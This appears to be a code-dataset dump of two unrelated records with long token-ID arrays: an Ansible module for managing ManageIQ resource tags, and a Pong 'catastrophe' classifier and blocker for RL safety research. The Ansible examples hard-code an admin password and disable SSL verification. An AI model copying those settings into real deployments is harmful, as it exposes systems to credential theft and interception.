#!/usr/bin/python # -*- coding: utf-8 -*- # (c) 2017, Daniel Korn <korndaniel1@gmail.com> # (c) 2017, Yaacov Zamir <yzamir@redhat.com> # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = { 'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community' } DOCUMENTATION = ''' module: manageiq_tags short_description: Management of resource tags in ManageIQ. extends_documentation_fragment: manageiq version_added: '2.5' author: Daniel Korn (@dkorn) description: - The manageiq_tags module supports adding, updating and deleting tags in ManageIQ. options: state: description: - absent - tags should not exist, - present - tags should exist, - list - list current tags. choices: ['absent', 'present', 'list'] default: 'present' tags: description: - tags - list of dictionaries, each includes 'name' and 'category' keys. - required if state is present or absent. resource_type: description: - the relevant resource type in manageiq required: true choices: ['provider', 'host', 'vm', 'blueprint', 'category', 'cluster', 'data store', 'group', 'resource pool', 'service', 'service template', 'template', 'tenant', 'user'] resource_name: description: - the relevant resource name in manageiq required: true ''' EXAMPLES = ''' - name: Create new tags for a provider in ManageIQ manageiq_tags: resource_name: 'EngLab' resource_type: 'provider' tags: - category: environment name: prod - category: owner name: prod_ops manageiq_connection: url: 'http://127.0.0.1:3000' username: 'admin' password: 'smartvm' verify_ssl: False - name: Remove tags for a provider in ManageIQ manageiq_tags: state: absent resource_name: 'EngLab' resource_type: 'provider' tags: - category: environment name: prod - category: owner name: prod_ops manageiq_connection: url: 'http://127.0.0.1:3000' username: 'admin' password: 'smartvm' verify_ssl: False - name: List current tags for a provider in ManageIQ manageiq_tags: state: list resource_name: 'EngLab' resource_type: 'provider' manageiq_connection: url: 'http://127.0.0.1:3000' username: 'admin' password: 'smartvm' verify_ssl: False ''' RETURN = ''' ''' from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.manageiq import ManageIQ, manageiq_argument_spec, manageiq_entities def query_resource_id(manageiq, resource_type, resource_name): """ Query the resource name in ManageIQ. Returns: the resource id if it exists in manageiq, Fail otherwise. """ resource = manageiq.find_collection_resource_by(resource_type, name=resource_name) if resource: return resource["id"] else: msg = "{resource_name} {resource_type} does not exist in manageiq".format( resource_name=resource_name, resource_type=resource_type) manageiq.module.fail_json(msg=msg) class ManageIQTags(object): """ Object to execute tags management operations of manageiq resources. """ def __init__(self, manageiq, resource_type, resource_id): self.manageiq = manageiq self.module = self.manageiq.module self.api_url = self.manageiq.api_url self.client = self.manageiq.client self.resource_type = resource_type self.resource_id = resource_id self.resource_url = '{api_url}/{resource_type}/{resource_id}'.format( api_url=self.api_url, resource_type=resource_type, resource_id=resource_id) def full_tag_name(self, tag): """ Returns the full tag name in manageiq """ return '/managed/{tag_category}/{tag_name}'.format( tag_category=tag['category'], tag_name=tag['name']) def clean_tag_object(self, tag): """ Clean a tag object to have human readable form of: { full_name: STR, name: STR, display_name: STR, category: STR } """ full_name = tag.get('name') categorization = tag.get('categorization', {}) return dict( full_name=full_name, name=categorization.get('name'), display_name=categorization.get('display_name'), category=categorization.get('category', {}).get('name')) def query_resource_tags(self): """ Returns a set of the tag objects assigned to the resource """ url = '{resource_url}/tags?expand=resources&attributes=categorization' try: response = self.client.get(url.format(resource_url=self.resource_url)) except Exception as e: msg = "Failed to query {resource_type} tags: {error}".format( resource_type=self.resource_type, error=e) self.module.fail_json(msg=msg) resources = response.get('resources', []) # clean the returned rest api tag object to look like: # {full_name: STR, name: STR, display_name: STR, category: STR} tags = [self.clean_tag_object(tag) for tag in resources] return tags def tags_to_update(self, tags, action): """ Create a list of tags we need to update in ManageIQ. Returns: Whether or not a change took place and a message describing the operation executed. """ tags_to_post = [] assigned_tags = self.query_resource_tags() # make a list of assigned full tag names strings # e.g. ['/managed/environment/prod', ...] assigned_tags_set = set([tag['full_name'] for tag in assigned_tags]) for tag in tags: assigned = self.full_tag_name(tag) in assigned_tags_set if assigned and action == 'unassign': tags_to_post.append(tag) elif (not assigned) and action == 'assign': tags_to_post.append(tag) return tags_to_post def assign_or_unassign_tags(self, tags, action): """ Perform assign/unassign action """ # get a list of tags needed to be changed tags_to_post = self.tags_to_update(tags, action) if not tags_to_post: return dict( changed=False, msg="Tags already {action}ed, nothing to do".format(action=action)) # try to assign or unassign tags to resource url = '{resource_url}/tags'.format(resource_url=self.resource_url) try: response = self.client.post(url, action=action, resources=tags) except Exception as e: msg = "Failed to {action} tag: {error}".format( action=action, error=e) self.module.fail_json(msg=msg) # check all entities in result to be successfull for result in response['results']: if not result['success']: msg = "Failed to {action}: {message}".format( action=action, message=result['message']) self.module.fail_json(msg=msg) # successfully changed all needed tags return dict( changed=True, msg="Successfully {action}ed tags".format(action=action)) def main(): actions = {'present': 'assign', 'absent': 'unassign', 'list': 'list'} argument_spec = dict( tags=dict(type='list'), resource_name=dict(required=True, type='str'), resource_type=dict(required=True, type='str', choices=manageiq_entities().keys()), state=dict(required=False, type='str', choices=['present', 'absent', 'list'], default='present'), ) # add the manageiq connection arguments to the arguments argument_spec.update(manageiq_argument_spec()) module = AnsibleModule( argument_spec=argument_spec, required_if=[ ('state', 'present', ['tags']), ('state', 'absent', ['tags']) ], ) tags = module.params['tags'] resource_type_key = module.params['resource_type'] resource_name = module.params['resource_name'] state = module.params['state'] # get the action and resource type action = actions[state] resource_type = manageiq_entities()[resource_type_key] manageiq = ManageIQ(module) # query resource id, fail if resource does not exist resource_id = query_resource_id(manageiq, resource_type, resource_name) manageiq_tags = ManageIQTags(manageiq, resource_type, resource_id) if action == 'list': # return a list of current tags for this object current_tags = manageiq_tags.query_resource_tags() res_args = dict(changed=False, tags=current_tags) else: # assign or unassign the tags res_args = manageiq_tags.assign_or_unassign_tags(tags, action) module.exit_json(**res_args) if __name__ == "__main__": main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 334, 67, 9, 9708, 12, 24747, 14769, 1804, 6161, 665, 75, 269, 977, 290, 14769, 17, 32, 6799, 14, 957, 30, 199, 3, 334, 67, 9, 9708, 12, 1488, 2158, 8695, 3107, 455, 723, 665, 19873, 455, 723, 32, 17164, 14, 957, 30, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 421, 199, 8490, 63, 8314, 275, 469, 272, 283, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 272, 283, 1205, 356, 788, 7780, 995, 272, 283, 4946, 63, 991, 356, 283, 9387, 7, 199, 93, 421, 199, 8948, 275, 1449, 199, 199, 578, 26, 9635, 9962, 63, 2969, 199, 199, 3612, 63, 1802, 26, 8259, 402, 2073, 3762, 315, 14944, 23559, 14, 199, 11036, 63, 9970, 63, 7677, 26, 9635, 9962, 199, 1023, 63, 3270, 26, 283, 18, 14, 21, 7, 199, 2502, 26, 24747, 14769, 1804, 6161, 8593, 6341, 6161, 9, 199, 1802, 26, 523, 446, 710, 9635, 9962, 63, 2969, 859, 5171, 7791, 12, 12928, 436, 13794, 3762, 315, 14944, 23559, 14, 199, 199, 1419, 26, 523, 1174, 26, 272, 1369, 26, 489, 446, 9552, 446, 3762, 1077, 440, 2187, 12, 489, 446, 3451, 446, 3762, 1077, 2187, 12, 489, 446, 769, 446, 769, 1453, 3762, 14, 272, 3415, 26, 788, 5575, 297, 283, 1881, 297, 283, 513, 418, 272, 849, 26, 283, 1881, 7, 523, 3762, 26, 272, 1369, 26, 489, 446, 3762, 446, 769, 402, 11196, 12, 1924, 6952, 283, 354, 7, 436, 283, 3710, 7, 2883, 14, 489, 446, 1415, 340, 1174, 365, 3451, 503, 9552, 14, 523, 2073, 63, 466, 26, 272, 1369, 26, 489, 446, 314, 12082, 2073, 730, 315, 9635, 9962, 272, 1415, 26, 2549, 272, 3415, 26, 788, 3780, 297, 283, 1102, 297, 283, 2611, 297, 283, 15918, 297, 283, 3710, 297, 283, 4201, 297, 267, 283, 576, 3877, 297, 283, 923, 297, 283, 1927, 4203, 297, 283, 1364, 297, 283, 1364, 1978, 297, 267, 283, 1160, 297, 283, 4647, 297, 283, 751, 418, 523, 2073, 63, 354, 26, 272, 1369, 26, 489, 446, 314, 12082, 2073, 536, 315, 9635, 9962, 272, 1415, 26, 2549, 199, 2344, 199, 199, 8918, 275, 1449, 199, 13, 536, 26, 2790, 892, 3762, 367, 282, 5022, 315, 14944, 23559, 523, 9635, 9962, 63, 2969, 26, 272, 2073, 63, 354, 26, 283, 16197, 22511, 7, 272, 2073, 63, 466, 26, 283, 3780, 7, 272, 3762, 26, 272, 446, 4637, 26, 3734, 489, 536, 26, 12441, 272, 446, 4637, 26, 5771, 489, 536, 26, 12441, 63, 1483, 272, 9635, 9962, 63, 2105, 26, 489, 1166, 26, 283, 1014, 921, 4195, 14, 16, 14, 16, 14, 17, 26, 19962, 7, 489, 3434, 26, 283, 2113, 7, 489, 2505, 26, 283, 7853, 2611, 7, 489, 4911, 63, 4266, 26, 756, 199, 199, 13, 536, 26, 5852, 3762, 367, 282, 5022, 315, 14944, 23559, 523, 9635, 9962, 63, 2969, 26, 272, 1174, 26, 9552, 272, 2073, 63, 354, 26, 283, 16197, 22511, 7, 272, 2073, 63, 466, 26, 283, 3780, 7, 272, 3762, 26, 272, 446, 4637, 26, 3734, 489, 536, 26, 12441, 272, 446, 4637, 26, 5771, 489, 536, 26, 12441, 63, 1483, 272, 9635, 9962, 63, 2105, 26, 489, 1166, 26, 283, 1014, 921, 4195, 14, 16, 14, 16, 14, 17, 26, 19962, 7, 489, 3434, 26, 283, 2113, 7, 489, 2505, 26, 283, 7853, 2611, 7, 489, 4911, 63, 4266, 26, 756, 199, 199, 13, 536, 26, 3820, 1453, 3762, 367, 282, 5022, 315, 14944, 23559, 523, 9635, 9962, 63, 2969, 26, 272, 1174, 26, 769, 272, 2073, 63, 354, 26, 283, 16197, 22511, 7, 272, 2073, 63, 466, 26, 283, 3780, 7, 272, 9635, 9962, 63, 2105, 26, 489, 1166, 26, 283, 1014, 921, 4195, 14, 16, 14, 16, 14, 17, 26, 19962, 7, 489, 3434, 26, 283, 2113, 7, 489, 2505, 26, 283, 7853, 2611, 7, 489, 4911, 63, 4266, 26, 756, 199, 2344, 199, 199, 9677, 275, 1449, 199, 2344, 199, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 199, 504, 3242, 14, 578, 63, 1208, 14, 9053, 9962, 492, 14944, 23559, 12, 9635, 9962, 63, 2094, 63, 1650, 12, 9635, 9962, 63, 8327, 421, 199, 318, 1827, 63, 1927, 63, 344, 8, 9053, 9962, 12, 2073, 63, 466, 12, 2073, 63, 354, 304, 272, 408, 8133, 314, 2073, 536, 315, 14944, 23559, 14, 339, 1803, 26, 267, 314, 2073, 1305, 340, 652, 3495, 315, 9635, 9962, 12, 12176, 4257, 14, 272, 408, 272, 2073, 275, 9635, 9962, 14, 1623, 63, 3627, 63, 1927, 63, 991, 8, 1927, 63, 466, 12, 536, 29, 1927, 63, 354, 9, 272, 340, 2073, 26, 267, 372, 2073, 905, 344, 937, 272, 587, 26, 267, 1499, 275, 5310, 1927, 63, 354, 93, 469, 1927, 63, 466, 93, 1630, 440, 2187, 315, 9635, 9962, 1674, 908, 8, 288, 2073, 63, 354, 29, 1927, 63, 354, 12, 2073, 63, 466, 29, 1927, 63, 466, 9, 267, 9635, 9962, 14, 578, 14, 1633, 63, 1001, 8, 1328, 29, 1328, 9, 421, 199, 533, 14944, 23559, 9440, 8, 785, 304, 272, 408, 267, 6935, 370, 5341, 3762, 10041, 5331, 402, 9635, 9962, 5944, 14, 272, 408, 339, 347, 636, 826, 721, 277, 12, 9635, 9962, 12, 2073, 63, 466, 12, 2073, 63, 344, 304, 267, 291, 14, 9053, 9962, 275, 9635, 9962, 398, 291, 14, 578, 275, 291, 14, 9053, 9962, 14, 578, 267, 291, 14, 1246, 63, 633, 275, 291, 14, 9053, 9962, 14, 1246, 63, 633, 267, 291, 14, 1258, 275, 291, 14, 9053, 9962, 14, 1258, 398, 291, 14, 1927, 63, 466, 275, 2073, 63, 466, 267, 291, 14, 1927, 63, 344, 275, 2073, 63, 344, 267, 291, 14, 1927, 63, 633, 275, 5041, 1246, 63, 633, 16152, 1927, 63, 466, 16152, 1927, 63, 344, 5285, 908, 8, 288, 2986, 63, 633, 29, 277 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 334, 67, 9, 9708, 12, 24747, 14769, 1804, 6161, 665, 75, 269, 977, 290, 14769, 17, 32, 6799, 14, 957, 30, 199, 3, 334, 67, 9, 9708, 12, 1488, 2158, 8695, 3107, 455, 723, 665, 19873, 455, 723, 32, 17164, 14, 957, 30, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 421, 199, 8490, 63, 8314, 275, 469, 272, 283, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 272, 283, 1205, 356, 788, 7780, 995, 272, 283, 4946, 63, 991, 356, 283, 9387, 7, 199, 93, 421, 199, 8948, 275, 1449, 199, 199, 578, 26, 9635, 9962, 63, 2969, 199, 199, 3612, 63, 1802, 26, 8259, 402, 2073, 3762, 315, 14944, 23559, 14, 199, 11036, 63, 9970, 63, 7677, 26, 9635, 9962, 199, 1023, 63, 3270, 26, 283, 18, 14, 21, 7, 199, 2502, 26, 24747, 14769, 1804, 6161, 8593, 6341, 6161, 9, 199, 1802, 26, 523, 446, 710, 9635, 9962, 63, 2969, 859, 5171, 7791, 12, 12928, 436, 13794, 3762, 315, 14944, 23559, 14, 199, 199, 1419, 26, 523, 1174, 26, 272, 1369, 26, 489, 446, 9552, 446, 3762, 1077, 440, 2187, 12, 489, 446, 3451, 446, 3762, 1077, 2187, 12, 489, 446, 769, 446, 769, 1453, 3762, 14, 272, 3415, 26, 788, 5575, 297, 283, 1881, 297, 283, 513, 418, 272, 849, 26, 283, 1881, 7, 523, 3762, 26, 272, 1369, 26, 489, 446, 3762, 446, 769, 402, 11196, 12, 1924, 6952, 283, 354, 7, 436, 283, 3710, 7, 2883, 14, 489, 446, 1415, 340, 1174, 365, 3451, 503, 9552, 14, 523, 2073, 63, 466, 26, 272, 1369, 26, 489, 446, 314, 12082, 2073, 730, 315, 9635, 9962, 272, 1415, 26, 2549, 272, 3415, 26, 788, 3780, 297, 283, 1102, 297, 283, 2611, 297, 283, 15918, 297, 283, 3710, 297, 283, 4201, 297, 267, 283, 576, 3877, 297, 283, 923, 297, 283, 1927, 4203, 297, 283, 1364, 297, 283, 1364, 1978, 297, 267, 283, 1160, 297, 283, 4647, 297, 283, 751, 418, 523, 2073, 63, 354, 26, 272, 1369, 26, 489, 446, 314, 12082, 2073, 536, 315, 9635, 9962, 272, 1415, 26, 2549, 199, 2344, 199, 199, 8918, 275, 1449, 199, 13, 536, 26, 2790, 892, 3762, 367, 282, 5022, 315, 14944, 23559, 523, 9635, 9962, 63, 2969, 26, 272, 2073, 63, 354, 26, 283, 16197, 22511, 7, 272, 2073, 63, 466, 26, 283, 3780, 7, 272, 3762, 26, 272, 446, 4637, 26, 3734, 489, 536, 26, 12441, 272, 446, 4637, 26, 5771, 489, 536, 26, 12441, 63, 1483, 272, 9635, 9962, 63, 2105, 26, 489, 1166, 26, 283, 1014, 921, 4195, 14, 16, 14, 16, 14, 17, 26, 19962, 7, 489, 3434, 26, 283, 2113, 7, 489, 2505, 26, 283, 7853, 2611, 7, 489, 4911, 63, 4266, 26, 756, 199, 199, 13, 536, 26, 5852, 3762, 367, 282, 5022, 315, 14944, 23559, 523, 9635, 9962, 63, 2969, 26, 272, 1174, 26, 9552, 272, 2073, 63, 354, 26, 283, 16197, 22511, 7, 272, 2073, 63, 466, 26, 283, 3780, 7, 272, 3762, 26, 272, 446, 4637, 26, 3734, 489, 536, 26, 12441, 272, 446, 4637, 26, 5771, 489, 536, 26, 12441, 63, 1483, 272, 9635, 9962, 63, 2105, 26, 489, 1166, 26, 283, 1014, 921, 4195, 14, 16, 14, 16, 14, 17, 26, 19962, 7, 489, 3434, 26, 283, 2113, 7, 489, 2505, 26, 283, 7853, 2611, 7, 489, 4911, 63, 4266, 26, 756, 199, 199, 13, 536, 26, 3820, 1453, 3762, 367, 282, 5022, 315, 14944, 23559, 523, 9635, 9962, 63, 2969, 26, 272, 1174, 26, 769, 272, 2073, 63, 354, 26, 283, 16197, 22511, 7, 272, 2073, 63, 466, 26, 283, 3780, 7, 272, 9635, 9962, 63, 2105, 26, 489, 1166, 26, 283, 1014, 921, 4195, 14, 16, 14, 16, 14, 17, 26, 19962, 7, 489, 3434, 26, 283, 2113, 7, 489, 2505, 26, 283, 7853, 2611, 7, 489, 4911, 63, 4266, 26, 756, 199, 2344, 199, 199, 9677, 275, 1449, 199, 2344, 199, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 199, 504, 3242, 14, 578, 63, 1208, 14, 9053, 9962, 492, 14944, 23559, 12, 9635, 9962, 63, 2094, 63, 1650, 12, 9635, 9962, 63, 8327, 421, 199, 318, 1827, 63, 1927, 63, 344, 8, 9053, 9962, 12, 2073, 63, 466, 12, 2073, 63, 354, 304, 272, 408, 8133, 314, 2073, 536, 315, 14944, 23559, 14, 339, 1803, 26, 267, 314, 2073, 1305, 340, 652, 3495, 315, 9635, 9962, 12, 12176, 4257, 14, 272, 408, 272, 2073, 275, 9635, 9962, 14, 1623, 63, 3627, 63, 1927, 63, 991, 8, 1927, 63, 466, 12, 536, 29, 1927, 63, 354, 9, 272, 340, 2073, 26, 267, 372, 2073, 905, 344, 937, 272, 587, 26, 267, 1499, 275, 5310, 1927, 63, 354, 93, 469, 1927, 63, 466, 93, 1630, 440, 2187, 315, 9635, 9962, 1674, 908, 8, 288, 2073, 63, 354, 29, 1927, 63, 354, 12, 2073, 63, 466, 29, 1927, 63, 466, 9, 267, 9635, 9962, 14, 578, 14, 1633, 63, 1001, 8, 1328, 29, 1328, 9, 421, 199, 533, 14944, 23559, 9440, 8, 785, 304, 272, 408, 267, 6935, 370, 5341, 3762, 10041, 5331, 402, 9635, 9962, 5944, 14, 272, 408, 339, 347, 636, 826, 721, 277, 12, 9635, 9962, 12, 2073, 63, 466, 12, 2073, 63, 344, 304, 267, 291, 14, 9053, 9962, 275, 9635, 9962, 398, 291, 14, 578, 275, 291, 14, 9053, 9962, 14, 578, 267, 291, 14, 1246, 63, 633, 275, 291, 14, 9053, 9962, 14, 1246, 63, 633, 267, 291, 14, 1258, 275, 291, 14, 9053, 9962, 14, 1258, 398, 291, 14, 1927, 63, 466, 275, 2073, 63, 466, 267, 291, 14, 1927, 63, 344, 275, 2073, 63, 344, 267, 291, 14, 1927, 63, 633, 275, 5041, 1246, 63, 633, 16152, 1927, 63, 466, 16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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
gsastry/human-rl
humanrl/pong_catastrophe.py
1
8525
import logging import os import pickle from collections import namedtuple import gym import numpy as np from catastrophe_wrapper import * from catastrophe_wrapper import CatastropheWrapper from classifier_tf import (SavedCatastropheBlockerTensorflow, SavedCatastropheClassifierTensorflow) logger = logging.getLogger(__name__) logger.setLevel(logging.INFO) TOLERANCE = 0.01 PADDLE_COLUMN = {"right": 143, "left": 16} PADDLE_COLOR = {"right": np.array([92, 186, 92]), "left": np.array([213, 130, 74])} PLAY_AREA = [34, 34 + 160] DEFAULT_CLEARANCE = 16 DEFAULT_BLOCK_CLEARANCE = 16 DEFAULT_LOCATION = "bottom" def paddle_bottom(observation, paddle="right"): column = observation[:, PADDLE_COLUMN[paddle], :] - PADDLE_COLOR[paddle] found = (np.sum(np.abs(column), axis=1) < TOLERANCE).astype(np.int) r = np.argmax(np.flipud(found)) r = (len(found) - r - 1) if not found[r]: return None else: return r def paddle_top(observation, paddle="right"): column = observation[:, PADDLE_COLUMN[paddle], :] - PADDLE_COLOR[paddle] found = (np.sum(np.abs(column), axis=1) < TOLERANCE).astype(np.int) r = np.argmax(found) if not found[r]: return None else: return r # def ball_center(observation): # w = np.where(np.abs(observation[:,6:36] - 0.30457518) > TOLERANCE)[:2] # if len(w[0]) == 0 or len(w[0]) > 4: # return None # w = np.mean(w, axis=1) # return w[0], w[1] + 6 # # def ball_on_left(observation): # w = np.where(np.abs(observation[:,6:21] - 0.30457518) > TOLERANCE)[:2] # return(len(w[0]) > 0) def print_observation(observation): L = [] for row in observation: for value in row: found = False for i, v in enumerate(L): if (v == value).all(): found = True print(i, end="") break if not found: print(len(L), end="") L.append(value) print() for i, v in enumerate(L): print(i, v) def is_catastrophe(obs, location=DEFAULT_LOCATION, clearance=DEFAULT_CLEARANCE): if location == "bottom": y = paddle_bottom(obs) if y is None: return False return y > PLAY_AREA[1] - clearance elif location == "top": y = paddle_top(obs) if y is None: return False return y < PLAY_AREA[0] + clearance else: raise ValueError("Unrecognized location: {}".format(location)) ##catastrophe zone on either side # def is_catastrophe(obs, location=DEFAULT_LOCATION, clearance=DEFAULT_CLEARANCE): # clearance = 5 # y = paddle_bottom(obs) # y2 = paddle_top(obs) # if y is None: # return False # return (y > PLAY_AREA[1] - clearance) or (y < PLAY_AREA[0] + clearance) def should_block(obs, action, location=DEFAULT_LOCATION, clearance=DEFAULT_CLEARANCE, block_clearance=DEFAULT_BLOCK_CLEARANCE): if obs is None: return False if is_catastrophe(obs, location, clearance): return False if location == "top": # DOWN if is_catastrophe(obs, location, clearance + block_clearance) and action != 5: return True elif location == "bottom": # UP if is_catastrophe(obs, location, clearance + block_clearance) and action != 2: return True return False def allowed_actions_heuristic(obs, location): if location == "top": return [5] elif location == "bottom": return [2] class CatastropheClassifierHeuristic(object): def __init__(self, location=DEFAULT_LOCATION, clearance=DEFAULT_CLEARANCE, **_): self.location = location self.clearance = clearance def is_catastrophe(self, obs): return is_catastrophe(obs, self.location, self.clearance) def is_catastrophe_with_score(self, obs): return is_catastrophe(obs, self.location, self.clearance), 0 # class CatastropheClassifierHeuristic2(object): # def __init__(self): # pass # # def is_catastrophe(self, obs): # # if True: # if ball_on_left(obs): # ltop, lbottom = paddle_top(obs, "left"), paddle_bottom(obs, "left") # rtop, rbottom = paddle_top(obs, "right"), paddle_bottom(obs, "right") # print([ltop, lbottom, rtop, rbottom]) # if None not in [ltop, lbottom, rtop, rbottom]: # # if rbottom >= ltop and rbottom <= lbottom: # return True # if rtop >= ltop and rtop <= lbottom: # return True # if rtop < ltop and rbottom > lbottom: # return True # return False class CatastropheBlockerHeuristic(object): def __init__(self, location=DEFAULT_LOCATION, clearance=DEFAULT_CLEARANCE, block_clearance=DEFAULT_BLOCK_CLEARANCE, **_): self.location = location self.clearance = clearance self.block_clearance = block_clearance def should_block(self, obs, action): return should_block(obs, action, self.location, self.clearance, self.block_clearance) def should_block_with_score(self, obs, action): return should_block(obs, action, self.location, self.clearance, self.block_clearance), 0 def allowed_actions(self, obs): return allowed_actions_heuristic(obs, self.location) class PongClassifierLabeller(object): def __init__(self): pass def label(self, features, episode): images = (frame.image for frame in episode.frames if frame.action is not None) labels = np.array([is_catastrophe(image, location="bottom") for image in images]) return features, labels class PongBlockerClearanceHeuristicLabeller(object): def __init__(self, location=DEFAULT_LOCATION, clearance=DEFAULT_CLEARANCE, block_clearance=DEFAULT_BLOCK_CLEARANCE, **_): self.location = location self.clearance = clearance self.block_clearance = block_clearance self.blocker = CatastropheBlockerHeuristic(location, clearance, block_clearance) def __block_with_clearance(self, obs, action, location, clearance, block_clearance): if is_catastrophe(obs, location, clearance + block_clearance) and action != 2: # 'up' action return True else: return False def label(self, features, episode): labels = np.array( [self.__block_with_clearance(frame.image, frame.action, self.location, self.clearance, self.block_clearance) for frame in episode.frames if frame.action is not None]) return features, labels class PongBlockerLabeller(object): def __init__(self, block_radius=0): self.block_radius = block_radius def label_and_build_mask(self, episode): is_catastrophe_array = np.array( [is_catastrophe(frame.image) for frame in episode.frames if frame.action is not None]) # should_block_array = np.array([should_block(frame.image, frame.action) for frame in episode.frames]) labels = np.full(len(episode.frames), fill_value=False, dtype=np.bool) mask = np.full(len(episode.frames), fill_value=True, dtype=np.bool) for i in range(len(episode.frames)): if i + self.block_radius + 1 >= len(episode.frames): mask[i] = False continue if is_catastrophe_array[i]: mask[i] = False continue for j in range(self.block_radius + 1): if is_catastrophe_array[i + j + 1]: labels[i] = True break return labels, mask def label(self, features, episode): labels, mask = self.label_and_build_mask(episode) labels = labels[mask] for key, value in features.items(): features[key] = features[key][mask] assert (len(labels) == len(features[key])), "{} {}".format( len(labels), len(features[key])) return features, labels # return features, labels
mit
[ 646, 2050, 199, 646, 747, 199, 646, 5927, 199, 504, 5055, 492, 12863, 199, 199, 646, 486, 12828, 199, 646, 2680, 465, 980, 199, 199, 504, 286, 419, 270, 2675, 426, 63, 5029, 492, 627, 199, 504, 286, 419, 270, 2675, 426, 63, 5029, 492, 445, 419, 270, 2675, 426, 4590, 199, 504, 12429, 63, 3249, 492, 334, 21969, 35, 419, 270, 2675, 426, 3142, 281, 3861, 1659, 12, 2574, 29026, 35, 419, 270, 2675, 426, 8508, 3861, 1659, 9, 199, 199, 2921, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 2921, 14, 13548, 8, 4806, 14, 4531, 9, 199, 199, 52, 2228, 540, 7140, 275, 378, 14, 614, 199, 48, 9732, 906, 63, 21436, 275, 2420, 1019, 582, 29235, 12, 298, 3039, 582, 3193, 93, 199, 48, 9732, 906, 63, 7134, 275, 2420, 1019, 582, 980, 14, 1144, 779, 2942, 12, 413, 1184, 12, 20140, 2522, 298, 3039, 582, 980, 14, 1144, 779, 14271, 12, 21334, 12, 9720, 566, 93, 199, 11625, 63, 28591, 275, 359, 1082, 12, 8177, 435, 21235, 61, 199, 3472, 63, 20706, 7140, 275, 3193, 199, 3472, 63, 8475, 63, 20706, 7140, 275, 3193, 199, 3472, 63, 16575, 275, 298, 8305, 2, 421, 199, 318, 28525, 63, 8305, 8, 24299, 12, 28525, 628, 1019, 2349, 272, 2763, 275, 20038, 3981, 510, 9732, 906, 63, 21436, 59, 80, 20101, 467, 12228, 446, 510, 9732, 906, 63, 7134, 59, 80, 20101, 61, 272, 1911, 275, 334, 1590, 14, 1838, 8, 1590, 14, 2101, 8, 2301, 395, 3114, 29, 17, 9, 665, 377, 2228, 540, 7140, 680, 6041, 8, 1590, 14, 442, 9, 272, 519, 275, 980, 14, 16383, 8, 1590, 14, 16114, 1181, 8, 4214, 430, 272, 519, 275, 334, 552, 8, 4214, 9, 446, 519, 446, 413, 9, 272, 340, 440, 1911, 59, 82, 2189, 267, 372, 488, 272, 587, 26, 267, 372, 519, 421, 199, 318, 28525, 63, 2119, 8, 24299, 12, 28525, 628, 1019, 2349, 272, 2763, 275, 20038, 3981, 510, 9732, 906, 63, 21436, 59, 80, 20101, 467, 12228, 446, 510, 9732, 906, 63, 7134, 59, 80, 20101, 61, 272, 1911, 275, 334, 1590, 14, 1838, 8, 1590, 14, 2101, 8, 2301, 395, 3114, 29, 17, 9, 665, 377, 2228, 540, 7140, 680, 6041, 8, 1590, 14, 442, 9, 272, 519, 275, 980, 14, 16383, 8, 4214, 9, 272, 340, 440, 1911, 59, 82, 2189, 267, 372, 488, 272, 587, 26, 267, 372, 519, 421, 199, 3, 347, 330, 452, 63, 4218, 8, 24299, 304, 199, 3, 258, 336, 275, 980, 14, 4509, 8, 1590, 14, 2101, 8, 24299, 3981, 22, 26, 1344, 61, 446, 378, 14, 8533, 14781, 1085, 9, 690, 377, 2228, 540, 7140, 18562, 18, 61, 199, 3, 258, 340, 822, 8, 87, 59, 16, 566, 508, 378, 503, 822, 8, 87, 59, 16, 566, 690, 841, 26, 199, 3, 260, 372, 488, 199, 3, 258, 336, 275, 980, 14, 3670, 8, 87, 12, 3114, 29, 17, 9, 199, 3, 258, 372, 336, 59, 16, 467, 336, 59, 17, 61, 435, 1227, 199, 3, 199, 3, 347, 330, 452, 63, 265, 63, 3039, 8, 24299, 304, 199, 3, 258, 336, 275, 980, 14, 4509, 8, 1590, 14, 2101, 8, 24299, 3981, 22, 26, 2025, 61, 446, 378, 14, 8533, 14781, 1085, 9, 690, 377, 2228, 540, 7140, 18562, 18, 61, 199, 3, 258, 372, 8, 552, 8, 87, 59, 16, 566, 690, 378, 9, 421, 199, 318, 870, 63, 24299, 8, 24299, 304, 272, 491, 275, 942, 272, 367, 1962, 315, 20038, 26, 267, 367, 574, 315, 1962, 26, 288, 1911, 275, 756, 288, 367, 284, 12, 373, 315, 3874, 8, 44, 304, 355, 340, 334, 86, 508, 574, 680, 452, 837, 490, 1911, 275, 715, 490, 870, 8, 73, 12, 1284, 18413, 490, 2059, 288, 340, 440, 1911, 26, 355, 870, 8, 552, 8, 44, 395, 1284, 18413, 355, 491, 14, 740, 8, 585, 9, 267, 870, 342, 272, 367, 284, 12, 373, 315, 3874, 8, 44, 304, 267, 870, 8, 73, 12, 373, 9, 421, 199, 318, 365, 63, 67, 419, 270, 2675, 426, 8, 11226, 12, 2909, 29, 3472, 63, 16575, 12, 5436, 554, 29, 3472, 63, 20706, 7140, 304, 258, 2286, 340, 2909, 508, 298, 8305, 582, 267, 612, 275, 28525, 63, 8305, 8, 11226, 9, 